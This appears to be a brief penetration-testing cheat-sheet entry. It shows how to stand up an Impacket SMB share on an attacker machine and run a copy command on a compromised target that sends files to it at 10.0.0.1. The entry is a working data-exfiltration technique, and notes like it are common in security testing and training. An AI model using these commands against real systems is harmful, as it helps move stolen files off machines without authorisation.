SMB
#upload file from Target to Attacker
cd to Impacket\examples
sudo smbserver.py sharename /home/user/uploads
#SMB2 support
sudo smbserver.py sharename /home/user/uploads -smb2support
#target cmd to upload files to attacker
copy filename.txt \\10.0.0.1\sharename
Last updated